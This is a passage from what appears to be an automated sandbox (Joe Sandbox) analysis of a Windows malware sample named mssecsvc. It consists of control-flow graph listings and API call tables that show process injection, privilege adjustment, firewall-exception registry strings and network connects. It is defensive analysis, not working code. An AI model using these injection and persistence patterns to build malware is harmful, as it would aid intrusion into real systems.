lstrlen 4278->4278 4279 7fea4065 gethostbyname 4278->4279 4279->4285 4280 7fea4081 socket 4281 7fea40a6 connect 4280->4281 4280->4285 4283 7fea42b7 closesocket 4281->4283 4281->4285 4282 7fea42d0 SetEvent 4282->4285 4283->4285 4284 7fea42f2 Sleep ResetEvent 4284->4285 4285->4273 4285->4278 4285->4279 4285->4280 4285->4282 4285->4283 4285->4284 4286 7fea40ef GetVersionExA 4285->4286 4287 7fea4172 wsprintfA 4285->4287 4288 7fea41a7 CreateThread CloseHandle 4285->4288 4289 7fea41f6 GetTickCount 4285->4289 4290 7fea4288 Sleep 4285->4290 4286->4285 4287->4285 4288->4285 4289->4285 4290->4285 4291 7fea4294 GetTickCount 4290->4291 4291->4285 4293 7fea3d7d 4292->4293 4294 7fea10ce 2 API calls 4292->4294 4295 7fea3d92 GetTickCount 4293->4295 4294->4293 4296 7fea3daa 4295->4296 4297 7fea3e47 GetVolumeInformationA 4296->4297 4298 7fea3e7a 4297->4298 4299 7fea3f25 4298->4299 4300 7fea3eb5 96 API calls 4298->4300 4302 7fea3f4f 4299->4302 4303 7fea3f31 CreateThread CloseHandle 4299->4303 4301 7fea3ea9 4300->4301 4301->4299 4306 7fea3eca GetModuleFileNameA wsprintfA 4301->4306 4304 7fea3f60 43 API calls 4302->4304 4303->4302 4305 7fea3f54 4304->4305 4307 7fea10ce 2 API calls 4305->4307 4309 7fea3f14 4306->4309 4308 7fea3f7e 4307->4308 4310 7fea3f8f 23 API calls 4308->4310 4309->4299 4312 7fea3405 5 API calls 4309->4312 4311 7fea3f83 4310->4311 4313 7fea3ffa CreateEventA 4311->4313 4314 7fea3fd3 CreateThread CloseHandle 4311->4314 4312->4299 4327 7fea4012 4313->4327 4314->4313 4315 7fea4056 lstrlen 4315->4315 4316 7fea4065 gethostbyname 4315->4316 4316->4327 4317 7fea4081 socket 4319 7fea40a6 connect 4317->4319 4317->4327 4318 7fea4320 RtlExitUserThread 4321 7fea42b7 closesocket 4319->4321 4319->4327 4320 7fea42d0 SetEvent 4320->4327 4321->4327 4322 7fea42f2 Sleep ResetEvent 4322->4327 4323 7fea40ef GetVersionExA 4323->4327 4324 7fea4172 wsprintfA 4324->4327 4325 7fea41a7 CreateThread CloseHandle 4325->4327 4326 7fea41f6 GetTickCount 4326->4327 4327->4315 4327->4316 4327->4317 4327->4318 4327->4320 4327->4321 4327->4322 4327->4323 4327->4324 4327->4325 4327->4326 4328 7fea4288 Sleep 4327->4328 4328->4327 4329 7fea4294 GetTickCount 4328->4329 4329->4327 3856 7fea663a 3859 7fea6647 3856->3859 3860 7fea6644 3859->3860 3861 7fea6652 3859->3861 3863 7fea6658 3861->3863 3866 7fea2574 3863->3866 3885 7fea252f NtOpenSection 3866->3885 3868 7fea257c 3869 7fea2582 NtMapViewOfSection CloseHandle 3868->3869 3870 7fea2661 3868->3870 3869->3870 3872 7fea25ba 3869->3872 3870->3860 3871 7fea25ef 3887 7fea2477 NtProtectVirtualMemory NtWriteVirtualMemory 3871->3887 3872->3871 3886 7fea2477 NtProtectVirtualMemory NtWriteVirtualMemory 3872->3886 3875 7fea2600 3888 7fea2477 NtProtectVirtualMemory NtWriteVirtualMemory 3875->3888 3877 7fea2611 3889 7fea2477 NtProtectVirtualMemory NtWriteVirtualMemory 3877->3889 3879 7fea2622 3882 7fea2637 3879->3882 3890 7fea2477 NtProtectVirtualMemory NtWriteVirtualMemory 3879->3890 3881 7fea264c 3881->3870 3892 7fea2477 NtProtectVirtualMemory NtWriteVirtualMemory 3881->3892 3882->3881 3891 7fea2477 NtProtectVirtualMemory NtWriteVirtualMemory 3882->3891 3885->3868 3886->3871 3887->3875 3888->3877 3889->3879 3890->3882 3891->3881 3892->3870 4431 7fea443b 4434 7fea144a LookupPrivilegeValueA NtAdjustPrivilegesToken 4431->4434 4433 7fea4441 4434->4433 4456 7fea3399 4458 7fea33a2 4456->4458 4459 7fea33a9 Sleep 4458->4459 4459->4459 4460 7fea3819 4462 7fea381f WaitForSingleObject 4460->4462 4463 7fea383b closesocket 4462->4463 4464 7fea3845 4462->4464 4463->4464 4330 7fea02fe 4331 7fea0415 4330->4331 4333 7fea042d 4331->4333 4334 7fea10ce 2 API calls 4333->4334 4335 7fea048f 4334->4335 4336 7fea04dd 4335->4336 4337 7fea04b0 GetModuleHandleA 4335->4337 4338 7fea04f8 GetVersion 4336->4338 4337->4336 4339 7fea05ca 4338->4339 4340 7fea050f VirtualAlloc 4338->4340 4341 7fea05a9 CloseHandle 4339->4341 4342 7fea05d3 SetProcessAffinityMask 4339->4342 4340->4341 4346 7fea0532 4340->4346 4344 7fea05f2 GetModuleHandleA 4341->4344 4367 7fea05f2 GetModuleHandleA 4342->4367 4345 7fea10ce 2 API calls 4344->4345 4362 7fea05ec 4345->4362 4346->4341 4364 7fea05ba 4346->4364 4347 7fea06fc lstrcpyW 4386 7fea24ae lstrcpyW lstrlenW 4347->4386 4350 7fea074c NtMapViewOfSection 4350->4341 4350->4362 4351 7fea0717 GetPEB lstrcpyW lstrcatW 4352 7fea24ae 3 API calls 4351->4352 4352->4362 4353 7fea0780 NtOpenProcessToken 4354 7fea07c5 CreateToolhelp32Snapshot Process32First 4353->4354 4353->4362 4354->4362 4355 7fea07eb Process32Next 4358 7fea0865 CloseHandle 4355->4358 4355->4362 4356 7fea2574 5 API calls 4356->4362 4358->4341 4359 7fea07fd OpenProcess 4359->4355 4359->4362 4360 7fea085c CloseHandle 4360->4355 4361 7fea0834 CreateRemoteThread 4361->4360 4361->4362 4362->4341 4362->4347 4362->4350 4362->4351 4362->4353 4362->4354 4362->4355 4362->4356 4362->4359 4362->4360 4362->4361 4363 7fea05ba Sleep 4362->4363 4389 7fea07ac 4362->4389 4363->4360 4365 7fea05c9 4364->4365 4366 7fea05bf Sleep 4364->4366 4365->4341 4366->4364 4368 7fea10ce 2 API calls 4367->4368 4369 7fea060e 4368->4369 4370 7fea05a9 CloseHandle 4369->4370 4371 7fea06fc lstrcpyW 4369->4371 4373 7fea074c NtMapViewOfSection 4369->4373 4374 7fea0717 GetPEB lstrcpyW lstrcatW 4369->4374 4376 7fea0780 NtOpenProcessToken 4369->4376 4377 7fea07c5 CreateToolhelp32Snapshot Process32First 4369->4377 4378 7fea07eb Process32Next 4369->4378 4379 7fea2574 5 API calls 4369->4379 4380 7fea07ac 30 API calls 4369->4380 4382 7fea07fd OpenProcess 4369->4382 4383 7fea085c CloseHandle 4369->4383 4384 7fea0834 CreateRemoteThread 4369->4384 4385 7fea05ba Sleep 4369->4385 4370->4367 4372 7fea24ae 3 API calls 4371->4372 4372->4369 4373->4369 4373->4370 4375 7fea24ae 3 API calls 4374->4375 4375->4369 4376->4369 4376->4377 4377->4369 4378->4369 4381 7fea0865 CloseHandle 4378->4381 4379->4369 4380->4369 4381->4370 4382->4369 4382->4378 4383->4378 4384->4369 4384->4383 4385->4383 4387 7fea6cbe 4386->4387 4388 7fea24ea NtCreateSection 4387->4388 4388->4362 4411 7fea144a LookupPrivilegeValueA NtAdjustPrivilegesToken 4389->4411 4391 7fea07b2 FreeLibrary CloseHandle 4392 7fea07c5 CreateToolhelp32Snapshot Process32First 4391->4392 4399 7fea060e 4392->4399 4393 7fea07eb Process32Next 4395 7fea0865 CloseHandle 4393->4395 4393->4399 4394 7fea2574 5 API calls 4394->4399 4396 7fea05a9 CloseHandle 4395->4396 4400 7fea05f2 GetModuleHandleA 4396->4400 4397 7fea07fd OpenProcess 4397->4393 4397->4399 4398 7fea085c CloseHandle 4398->4393 4399->4392 4399->4393 4399->4394 4399->4396 4399->4397 4399->4398 4401 7fea0834 CreateRemoteThread 4399->4401 4403 7fea05ba Sleep 4399->4403 4404 7fea06fc lstrcpyW 4399->4404 4406 7fea074c NtMapViewOfSection 4399->4406 4407 7fea0717 GetPEB lstrcpyW lstrcatW 4399->4407 4409 7fea0780 NtOpenProcessToken 4399->4409 4410 7fea07ac 13 API calls 4399->4410 4402 7fea10ce 2 API calls 4400->4402 4401->4398 4401->4399 4402->4399 4403->4398 4405 7fea24ae 3 API calls 4404->4405 4405->4399 4406->4396 4406->4399 4408 7fea24ae 3 API calls 4407->4408 4408->4399 4409->4392 4409->4399 4410->4399 4411->4391 4412 7fea0fd6 4415 7fea10a0 4412->4415 4413 7fea115c 4414 7fea1133 GetModuleHandleA GetProcAddress 4414->4415 4415->4413 4415->4414 4465 7fea1196 GetProcAddress

                                                                                                Executed Functions

                                                                                                Function 7FEA4499 Relevance: 7.6, APIs: 5, Instructions: 83fileCOMMON
                                                                                                Download Yara Rule

                                                                                                Control-flow Graph

                                                                                                APIs
                                                                                                • GetFileAttributesA.KERNELBASE(?,65676E61,?,?,7FEA4406,?,7FEA43E8,?,7FEA43C4), ref: 7FEA44A4
                                                                                                • SetFileAttributesA.KERNELBASE(?,00000000,?,65676E61,?,?,7FEA4406,?,7FEA43E8,?,7FEA43C4), ref: 7FEA44B8
                                                                                                • CreateFileA.KERNELBASE(?,C0000000,00000001,00000000,00000003,00000000,00000000,?,65676E61,?,?,7FEA4406,?,7FEA43E8,?,7FEA43C4), ref: 7FEA44ED
                                                                                                • CreateFileMappingA.KERNEL32(?,00000000,00000004,00000000,00000000,00000000,?,C0000000,00000001,00000000,00000003,00000000,00000000,?,65676E61), ref: 7FEA4565
                                                                                                • MapViewOfFile.KERNELBASE(00000000,000F001F,00000000,00000000,00000000,?,C0000000,00000001,00000000,00000003,00000000,00000000,?,65676E61), ref: 7FEA459A
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000004.00000002.554615255.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                Similarity
                                                                                                • API ID: File$AttributesCreate$MappingView
                                                                                                • String ID:
                                                                                                • API String ID: 1961427682-0
                                                                                                • Opcode ID: a597af1445ea8736db27a55b35799f807b5cdfd84ba473e7882835a9cfdd7254
                                                                                                • Instruction ID: 5241e261c6a8b1a9cf08daa61a461fa69fc83fe37cd40be9c894cf7c8eac2c63
                                                                                                • Opcode Fuzzy Hash: a597af1445ea8736db27a55b35799f807b5cdfd84ba473e7882835a9cfdd7254
                                                                                                • Instruction Fuzzy Hash: E62112B0205309BFEF219E658D45BFA366DAF01619F500229E91A9E0A4D7F5AF058728
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Non-executed Functions

                                                                                                Function 7FEA3C3D Relevance: 47.7, APIs: 21, Strings: 6, Instructions: 487libraryloaderCOMMON
                                                                                                Download Yara Rule

                                                                                                Control-flow Graph

                                                                                                • Executed
                                                                                                • Not Executed
                                                                                                control_flow_graph 28 7fea3c3d-7fea3c59 29 7fea3c5b-7fea3c63 28->29 30 7fea3ca9-7fea3cb3 call 7fea252f 28->30 32 7fea3c64-7fea3c67 29->32 37 7fea3cfb-7fea3d43 GetSystemDirectoryA call 7fea3d1f 30->37 38 7fea3cb5-7fea3cce call 7fea3cc2 30->38 34 7fea3c69-7fea3c6e 32->34 35 7fea3c93 32->35 34->35 39 7fea3c70-7fea3c91 34->39 35->32 36 7fea3c95-7fea3d43 GetWindowsDirectoryA call 7fea3d36 35->36 46 7fea3d45-7fea3dc0 GetProcAddress LoadLibraryA call 7fea10ce call 7fea01cb GetTickCount call 7fea3b76 36->46 37->46 48 7fea3cd4-7fea3cdc GetProcAddress 38->48 49 7fea3ccf call 7fea26d4 38->49 39->35 60 7fea3dc8-7fea3dcd call 7fea3b76 46->60 61 7fea3dc2 46->61 50 7fea3cde 48->50 51 7fea3ce0-7fea3d43 call 7fea3cf0 48->51 49->48 50->51 51->46 64 7fea3dcf-7fea3de6 60->64 61->60 65 7fea3de8-7fea3df8 call 7fea63a0 call 7fea273c 64->65 70 7fea3dfa-7fea3dfc 65->70 71 7fea3dfe-7fea3e1a call 7fea63a0 65->71 72 7fea3e1b-7fea3e1c 70->72 71->72 72->65 74 7fea3e1e-7fea3e24 72->74 74->64 76 7fea3e26-7fea3e30 call 7fea273c 74->76 79 7fea3e3f-7fea3e78 call 7fea273c GetVolumeInformationA 76->79 80 7fea3e32-7fea3e3a call 7fea2750 76->80 84 7fea3e7a-7fea3e80 79->84 85 7fea3e82-7fea3e88 79->85 80->79 86 7fea3e91-7fea3e9e 84->86 85->86 87 7fea3e8a 85->87 88 7fea3ea4-7fea3ec8 call 7fea3eb5 86->88 89 7fea3f25 86->89 87->86 91 7fea3f2f 88->91 98 7fea3eca-7fea3f1e GetModuleFileNameA wsprintfA 88->98 89->91 93 7fea3f4f-7fea3fd1 call 7fea3f60 call 7fea10ce call 7fea3f8f 91->93 94 7fea3f31-7fea3f49 CreateThread CloseHandle 91->94 107 7fea3ffa-7fea400b CreateEventA 93->107 108 7fea3fd3-7fea3ff8 CreateThread CloseHandle 93->108 94->93 98->89 103 7fea3f20 call 7fea3405 98->103 103->89 109 7fea4012-7fea402a call 7fea37fa 107->109 108->107 112 7fea402c-7fea402f 109->112 113 7fea4031-7fea4044 call 7fea3b90 109->113 112->113 114 7fea404c-7fea4054 112->114 119 7fea404a 113->119 120 7fea42be-7fea42c5 113->120 116 7fea4056-7fea4063 lstrlen 114->116 117 7fea4065-7fea406e gethostbyname 114->117 116->116 116->117 121 7fea4074-7fea407b 117->121 122 7fea4315-7fea431b 117->122 123 7fea4081-7fea40a0 socket 119->123 124 7fea4320-7fea4322 RtlExitUserThread 120->124 125 7fea42c7-7fea42ce 120->125 121->123 122->109 123->120 126 7fea40a6-7fea40b9 connect 123->126 127 7fea42e2-7fea42e9 125->127 128 7fea42d0-7fea42dc SetEvent 125->128 129 7fea40bf-7fea416e call 7fea273c call 7fea2750 GetVersionExA call 7fea2750 call 7fea3358 call 7fea4178 126->129 130 7fea42b7-7fea42b8 closesocket 126->130 131 7fea42eb 127->131 132 7fea42f2-7fea4310 Sleep ResetEvent 127->132 128->127 143 7fea4170 129->143 144 7fea4195-7fea41a5 call 7fea3358 129->144 130->120 131->132 132->109 146 7fea4192-7fea4194 143->146 147 7fea4172-7fea418c wsprintfA 143->147 150 7fea41c3-7fea41ca 144->150 151 7fea41a7-7fea41bd CreateThread CloseHandle 144->151 146->144 147->146 148 7fea418e 147->148 148->146 152 7fea41d0-7fea41eb 150->152 151->150 154 7fea41ed-7fea41f4 152->154 155 7fea4210-7fea4214 152->155 154->155 156 7fea41f6-7fea4207 GetTickCount 154->156 155->130 157 7fea421a-7fea421c 155->157 156->155 158 7fea4209 156->158 159 7fea421e-7fea4236 157->159 158->155 160 7fea423b-7fea4243 159->160 161 7fea4238 159->161 160->159 162 7fea4245 160->162 161->160 163 7fea424b-7fea424f 162->163 164 7fea4261-7fea4263 163->164 165 7fea4251-7fea4258 call 7fea2f08 163->165 167 7fea4265-7fea426f 164->167 165->130 170 7fea425a 165->170 169 7fea4274-7fea4282 call 7fea6541 call 7fea655b 167->169 169->152 176 7fea4288-7fea4292 Sleep 169->176 170->167 172 7fea425c-7fea425f 170->172 172->163 176->169 177 7fea4294-7fea42a5 GetTickCount 176->177 177->152 178 7fea42ab-7fea42b2 177->178 178->130 178->152
                                                                                                APIs
                                                                                                • GetWindowsDirectoryA.KERNEL32(C:\Program Files (x86)\YNWIOrQPBctcuNLXtmcrVPKMsCjGmVQIPadTYckfZwSuofwEKeUkJCpWCOjycgbb\cTaShbawpbFCfOyN.exe,00000104), ref: 7FEA3CA1
                                                                                                • GetProcAddress.KERNEL32(00000000,00000002), ref: 7FEA3CD4
                                                                                                • GetProcAddress.KERNEL32(00000000,7FEA3D41), ref: 7FEA3D4C
                                                                                                • LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 7FEA3D5F
                                                                                                • GetTickCount.KERNEL32 ref: 7FEA3D93
                                                                                                • GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,7FEA6EF6,00000000,00000000,00000000,00000000), ref: 7FEA3E65
                                                                                                • GetModuleFileNameA.KERNEL32(00000000,C:\Program Files (x86)\YNWIOrQPBctcuNLXtmcrVPKMsCjGmVQIPadTYckfZwSuofwEKeUkJCpWCOjycgbb\cTaShbawpbFCfOyN.exe,000000C8), ref: 7FEA3EE2
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000004.00000002.554615255.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                Similarity
                                                                                                • API ID: AddressProc$CountDirectoryFileInformationLibraryLoadModuleNameTickVolumeWindows
                                                                                                • String ID: -yX$ADVAPI32.DLL$C:,$C:\Program Files (x86)\YNWIOrQPBctcuNLXtmcrVPKMsCjGmVQIPadTYckfZwSuofwEKeUkJCpWCOjycgbb\cTaShbawpbFCfOyN.exe$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                                • API String ID: 1749273276-1557072419
                                                                                                • Opcode ID: 11d8e70a6ae69d735f2b35264cad3f706a3a81fbd19f45a2bd40c521d43324e7
                                                                                                • Instruction ID: 6856dd48e4ced1a9f2286be03aa6e2628cc93b41bccce76cbf3563a38adebb89
                                                                                                • Opcode Fuzzy Hash: 11d8e70a6ae69d735f2b35264cad3f706a3a81fbd19f45a2bd40c521d43324e7
                                                                                                • Instruction Fuzzy Hash: 10020571419348BFEB229F748C4ABEA7BACEF41304F004559EC4A9E081D7F66F4597A2
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 7FEA3CC2 Relevance: 45.9, APIs: 20, Strings: 6, Instructions: 432libraryloaderCOMMON
                                                                                                Download Yara Rule

                                                                                                Control-flow Graph

                                                                                                • Executed
                                                                                                • Not Executed
                                                                                                control_flow_graph 179 7fea3cc2-7fea3cca GetModuleHandleA 180 7fea3ccc-7fea3cdc call 7fea26d4 GetProcAddress 179->180 181 7fea3ce0-7fea3dc0 call 7fea3cf0 GetProcAddress LoadLibraryA call 7fea10ce call 7fea01cb GetTickCount call 7fea3b76 179->181 180->181 186 7fea3cde 180->186 194 7fea3dc8-7fea3dcd call 7fea3b76 181->194 195 7fea3dc2 181->195 186->181 198 7fea3dcf-7fea3de6 194->198 195->194 199 7fea3de8-7fea3df8 call 7fea63a0 call 7fea273c 198->199 204 7fea3dfa-7fea3dfc 199->204 205 7fea3dfe-7fea3e1a call 7fea63a0 199->205 206 7fea3e1b-7fea3e1c 204->206 205->206 206->199 208 7fea3e1e-7fea3e24 206->208 208->198 210 7fea3e26-7fea3e30 call 7fea273c 208->210 213 7fea3e3f-7fea3e78 call 7fea273c GetVolumeInformationA 210->213 214 7fea3e32-7fea3e3a call 7fea2750 210->214 218 7fea3e7a-7fea3e80 213->218 219 7fea3e82-7fea3e88 213->219 214->213 220 7fea3e91-7fea3e9e 218->220 219->220 221 7fea3e8a 219->221 222 7fea3ea4-7fea3ec8 call 7fea3eb5 220->222 223 7fea3f25 220->223 221->220 225 7fea3f2f 222->225 232 7fea3eca-7fea3f1e GetModuleFileNameA wsprintfA 222->232 223->225 227 7fea3f4f-7fea3fd1 call 7fea3f60 call 7fea10ce call 7fea3f8f 225->227 228 7fea3f31-7fea3f49 CreateThread CloseHandle 225->228 241 7fea3ffa-7fea400b CreateEventA 227->241 242 7fea3fd3-7fea3ff8 CreateThread CloseHandle 227->242 228->227 232->223 237 7fea3f20 call 7fea3405 232->237 237->223 243 7fea4012-7fea402a call 7fea37fa 241->243 242->241 246 7fea402c-7fea402f 243->246 247 7fea4031-7fea4044 call 7fea3b90 243->247 246->247 248 7fea404c-7fea4054 246->248 253 7fea404a 247->253 254 7fea42be-7fea42c5 247->254 250 7fea4056-7fea4063 lstrlen 248->250 251 7fea4065-7fea406e gethostbyname 248->251 250->250 250->251 255 7fea4074-7fea407b 251->255 256 7fea4315-7fea431b 251->256 257 7fea4081-7fea40a0 socket 253->257 258 7fea4320-7fea4322 RtlExitUserThread 254->258 259 7fea42c7-7fea42ce 254->259 255->257 256->243 257->254 260 7fea40a6-7fea40b9 connect 257->260 261 7fea42e2-7fea42e9 259->261 262 7fea42d0-7fea42dc SetEvent 259->262 263 7fea40bf-7fea416e call 7fea273c call 7fea2750 GetVersionExA call 7fea2750 call 7fea3358 call 7fea4178 260->263 264 7fea42b7-7fea42b8 closesocket 260->264 265 7fea42eb 261->265 266 7fea42f2-7fea4310 Sleep ResetEvent 261->266 262->261 277 7fea4170 263->277 278 7fea4195-7fea41a5 call 7fea3358 263->278 264->254 265->266 266->243 280 7fea4192-7fea4194 277->280 281 7fea4172-7fea418c wsprintfA 277->281 284 7fea41c3-7fea41ca 278->284 285 7fea41a7-7fea41bd CreateThread CloseHandle 278->285 280->278 281->280 282 7fea418e 281->282 282->280 286 7fea41d0-7fea41eb 284->286 285->284 288 7fea41ed-7fea41f4 286->288 289 7fea4210-7fea4214 286->289 288->289 290 7fea41f6-7fea4207 GetTickCount 288->290 289->264 291 7fea421a-7fea421c 289->291 290->289 292 7fea4209 290->292 293 7fea421e-7fea4236 291->293 292->289 294 7fea423b-7fea4243 293->294 295 7fea4238 293->295 294->293 296 7fea4245 294->296 295->294 297 7fea424b-7fea424f 296->297 298 7fea4261-7fea4263 297->298 299 7fea4251-7fea4258 call 7fea2f08 297->299 301 7fea4265-7fea426f 298->301 299->264 304 7fea425a 299->304 303 7fea4274-7fea4282 call 7fea6541 call 7fea655b 301->303 303->286 310 7fea4288-7fea4292 Sleep 303->310 304->301 306 7fea425c-7fea425f 304->306 306->297 310->303 311 7fea4294-7fea42a5 GetTickCount 310->311 311->286 312 7fea42ab-7fea42b2 311->312 312->264 312->286
                                                                                                APIs
                                                                                                • GetModuleHandleA.KERNEL32(7FEA3CBA), ref: 7FEA3CC2
                                                                                                • GetProcAddress.KERNEL32(00000000,00000002), ref: 7FEA3CD4
                                                                                                • GetProcAddress.KERNEL32(00000000,7FEA3D41), ref: 7FEA3D4C
                                                                                                • LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 7FEA3D5F
                                                                                                • GetTickCount.KERNEL32 ref: 7FEA3D93
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000004.00000002.554615255.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                Similarity
                                                                                                • API ID: AddressProc$CountHandleLibraryLoadModuleTick
                                                                                                • String ID: -yX$ADVAPI32.DLL$C:,$C:\Program Files (x86)\YNWIOrQPBctcuNLXtmcrVPKMsCjGmVQIPadTYckfZwSuofwEKeUkJCpWCOjycgbb\cTaShbawpbFCfOyN.exe$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
                                                                                                • API String ID: 2837544101-1557072419
                                                                                                • Opcode ID: a6ecbdba0e77da1c42fb1fb22e58a019832077429085a03e12af027fb64ba546
                                                                                                • Instruction ID: b4b3212d39e947ac5d9392814a2c7224f35c85923ea667b823aff5088932c5b3
                                                                                                • Opcode Fuzzy Hash: a6ecbdba0e77da1c42fb1fb22e58a019832077429085a03e12af027fb64ba546
                                                                                                • Instruction Fuzzy Hash: 45E11371519348BFEB229F708C4ABFA7BACEF41304F004559EC4A9E081D6F66F059762
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 7FEA3CF0 Relevance: 45.9, APIs: 20, Strings: 6, Instructions: 409COMMON
                                                                                                Download Yara Rule

                                                                                                Control-flow Graph

                                                                                                • Executed
                                                                                                • Not Executed
                                                                                                control_flow_graph 313 7fea3cf0-7fea3dc0 GetModuleHandleA call 7fea26d4 GetSystemDirectoryA call 7fea3d1f GetProcAddress LoadLibraryA call 7fea10ce call 7fea01cb GetTickCount call 7fea3b76 325 7fea3dc8-7fea3dcd call 7fea3b76 313->325 326 7fea3dc2 313->326 329 7fea3dcf-7fea3de6 325->329 326->325 330 7fea3de8-7fea3df8 call 7fea63a0 call 7fea273c 329->330 335 7fea3dfa-7fea3dfc 330->335 336 7fea3dfe-7fea3e1a call 7fea63a0 330->336 337 7fea3e1b-7fea3e1c 335->337 336->337 337->330 339 7fea3e1e-7fea3e24 337->339 339->329 341 7fea3e26-7fea3e30 call 7fea273c 339->341 344 7fea3e3f-7fea3e78 call 7fea273c GetVolumeInformationA 341->344 345 7fea3e32-7fea3e3a call 7fea2750 341->345 349 7fea3e7a-7fea3e80 344->349 350 7fea3e82-7fea3e88 344->350 345->344 351 7fea3e91-7fea3e9e 349->351 350->351 352 7fea3e8a 350->352 353 7fea3ea4-7fea3ec8 call 7fea3eb5 351->353 354 7fea3f25 351->354 352->351 356 7fea3f2f 353->356 363 7fea3eca-7fea3f1e GetModuleFileNameA wsprintfA 353->363 354->356 358 7fea3f4f-7fea3fd1 call 7fea3f60 call 7fea10ce call 7fea3f8f 356->358 359 7fea3f31-7fea3f49 CreateThread CloseHandle 356->359 372 7fea3ffa-7fea400b CreateEventA 358->372 373 7fea3fd3-7fea3ff8 CreateThread CloseHandle 358->373 359->358 363->354 368 7fea3f20 call 7fea3405 363->368 368->354 374 7fea4012-7fea402a call 7fea37fa 372->374 373->372 377 7fea402c-7fea402f 374->377 378 7fea4031-7fea4044 call 7fea3b90 374->378 377->378 379 7fea404c-7fea4054 377->379 384 7fea404a 378->384 385 7fea42be-7fea42c5 378->385 381 7fea4056-7fea4063 lstrlen 379->381 382 7fea4065-7fea406e gethostbyname 379->382 381->381 381->382 386 7fea4074-7fea407b 382->386 387 7fea4315-7fea431b 382->387 388 7fea4081-7fea40a0 socket 384->388 389 7fea4320-7fea4322 RtlExitUserThread 385->389 390 7fea42c7-7fea42ce 385->390 386->388 387->374 388->385 391 7fea40a6-7fea40b9 connect 388->391 392 7fea42e2-7fea42e9 390->392 393 7fea42d0-7fea42dc SetEvent 390->393 394 7fea40bf-7fea416e call 7fea273c call 7fea2750 GetVersionExA call 7fea2750 call 7fea3358 call 7fea4178 391->394 395 7fea42b7-7fea42b8 closesocket 391->395 396 7fea42eb 392->396 397 7fea42f2-7fea4310 Sleep ResetEvent 392->397 393->392 408 7fea4170 394->408 409 7fea4195-7fea41a5 call 7fea3358 394->409 395->385 396->397 397->374 411 7fea4192-7fea4194 408->411 412 7fea4172-7fea418c wsprintfA 408->412 415 7fea41c3-7fea41ca 409->415 416 7fea41a7-7fea41bd CreateThread CloseHandle 409->416 411->409 412->411 413 7fea418e 412->413 413->411 417 7fea41d0-7fea41eb 415->417 416->415 419 7fea41ed-7fea41f4 417->419 420 7fea4210-7fea4214 417->420 419->420 421 7fea41f6-7fea4207 GetTickCount 419->421 420->395 422 7fea421a-7fea421c 420->422 421->420 423 7fea4209 421->423 424 7fea421e-7fea4236 422->424 423->420 425 7fea423b-7fea4243 424->425 426 7fea4238 424->426 425->424 427 7fea4245 425->427 426->425 428 7fea424b-7fea424f 427->428 429 7fea4261-7fea4263 428->429 430 7fea4251-7fea4258 call 7fea2f08 428->430 432 7fea4265-7fea426f 429->432 430->395 435 7fea425a 430->435 434 7fea4274-7fea4282 call 7fea6541 call 7fea655b 432->434 434->417 441 7fea4288-7fea4292 Sleep 434->441 435->432 437 7fea425c-7fea425f 435->437 437->428 441->434 442 7fea4294-7fea42a5 GetTickCount 441->442 442->417 443 7fea42ab-7fea42b2 442->443 443->395 443->417
                                                                                                APIs
                                                                                                • GetModuleHandleA.KERNEL32(7FEA3CE5), ref: 7FEA3CF0
                                                                                                • GetSystemDirectoryA.KERNEL32(C:\Program Files (x86)\YNWIOrQPBctcuNLXtmcrVPKMsCjGmVQIPadTYckfZwSuofwEKeUkJCpWCOjycgbb\cTaShbawpbFCfOyN.exe,00000104), ref: 7FEA3D07
                                                                                                  • Part of subcall function 7FEA3D1F: lstrcat.KERNEL32(C:\Program Files (x86)\YNWIOrQPBctcuNLXtmcrVPKMsCjGmVQIPadTYckfZwSuofwEKeUkJCpWCOjycgbb\cTaShbawpbFCfOyN.exe,7FEA3D12), ref: 7FEA3D20
                                                                                                  • Part of subcall function 7FEA3D1F: GetProcAddress.KERNEL32(00000000,7FEA3D41), ref: 7FEA3D4C
                                                                                                  • Part of subcall function 7FEA3D1F: LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 7FEA3D5F
                                                                                                  • Part of subcall function 7FEA3D1F: GetTickCount.KERNEL32 ref: 7FEA3D93
                                                                                                  • Part of subcall function 7FEA3D1F: GetVolumeInformationA.KERNEL32(00000000,00000000,00000000,7FEA6EF6,00000000,00000000,00000000,00000000), ref: 7FEA3E65
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000004.00000002.554615255.000000007FEA0000.00000040.10000000.00040000.00000000.sdmp, Offset: 7FEA0000, based on PE: false
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_4_2_7fea0000_mssecsvc.jbxd
                                                                                                Similarity
                                                                                                • API ID: AddressCountDirectoryHandleInformationLibraryLoadModuleProcSystemTickVolumelstrcat
                                                                                                • String ID: -yX$ADVAPI32.DLL$C:,$C:\Program Files (x86)\YNWIOrQPBctcuNLXtmcrVPKMsCjGmVQIPadTYckfZwSuofwEKeUkJCpWCOjycgbb\cTaShbawpbFCfOyN.exe$C:\WINDOWS\TASKSCHE.EXE$SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
